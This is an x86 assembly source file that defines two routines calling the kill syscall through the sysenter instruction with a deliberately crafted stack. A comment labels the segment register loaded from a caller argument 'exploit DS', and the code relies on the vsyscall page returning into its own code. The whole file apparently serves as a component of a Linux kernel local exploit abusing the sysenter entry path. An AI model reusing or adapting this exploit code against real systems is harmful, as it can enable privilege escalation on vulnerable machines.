#include <sys/syscall.h>

.text
.global sysenter_call
.global sysenter_call_2

/* void sysenter_call(pid_t pid, int signo, short ds, void *addr) */

sysenter_call:
	push %ebx
	push %edi
	push %ebp
        push %ds
	movl %esp, %edi
	movl 20(%esp), %ebx   /* pid */
	movl 24(%esp), %ecx   /* signo */
	movl 28(%esp), %ds    /* exploit DS */
	movl 32(%esp), %ebp
	movl %ebp, %esp
        push $sysenter_return
	push %ecx
	push %edx
	subl $16, %ebp
	push $0xbaadf00d
	movl $SYS_kill, %eax
	sysenter

/* vsyscall page will ret to us here */
sysenter_return:
        mov %edi, %esp
	pop %ds
	pop %ebp
	pop %edi
	pop %ebx	
	ret

sysenter_call_2:
	push %ebx
	push %ebp
	movl 12(%esp), %ebx   /* pid */
	movl 16(%esp), %ecx   /* signo */
	movl 20(%esp), %ebp
	movl $SYS_kill, %eax
	sysenter

.data
test: .long 0